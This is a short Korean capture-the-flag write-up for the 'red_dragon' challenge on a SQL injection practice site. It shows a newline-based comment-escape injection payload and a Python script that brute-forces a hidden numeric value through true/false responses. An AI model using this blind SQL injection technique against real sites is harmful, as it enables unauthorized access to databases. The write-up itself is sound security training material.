red_dragon
첫 화면이다.

파이썬 코드를 짜면 아래와 같다.
id 조건을 무시하고, %0a
을 통해 주석을 빠져나와 no 값을 지정해준다.
id에 '||no=#
, no에 %0a{변수}
를 넣은 셈이다.
import requests
URL = 'https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php?'
PHPSESSID = 'MY_PHPSESSID'
TRUE_PHRASE = 'Hello admin'
def query(payload):
cookies = {'PHPSESSID': PHPSESSID}
r = requests.get(URL + payload, cookies=cookies)
content = r.text
return TRUE_PHRASE in content
# 586482014
def find_no():
no = 0
while query("id='||no>%23&no=%0a{}".format(no)) is True:
no += 1000000
no -= 1000000
while query("id='||no>%23&no=%0a{}".format(no)) is True:
no += 1000
no -= 1000
while query("id='||no=%23&no=%0a{}".format(no)) is False:
no += 1
print('no: {}'.format(no))
find_no()
실행결과, no는 586482014
이다.
https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php?no=586482014 에 접속하면 문제가 풀린다.

Last updated
Was this helpful?